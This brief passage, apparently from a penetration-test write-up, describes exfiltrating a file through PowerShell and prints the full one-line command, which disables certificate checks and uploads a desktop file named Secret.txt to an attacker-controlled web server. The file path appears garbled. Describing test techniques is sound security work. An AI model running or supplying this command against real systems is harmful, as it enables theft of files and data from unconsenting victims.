During a recent penetration test, we performed a simple data exfiltration through PowerShell and uploaded the file to an attacker-controlled web server by running the following command:
powershell.exe -noprofile -c "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {true}; $http = new-object System.Net.WebClient; $response = $http.UploadFile("""http://192.168.0.109/upload.php""","""C:userseiscDesktopSecret.txt""");"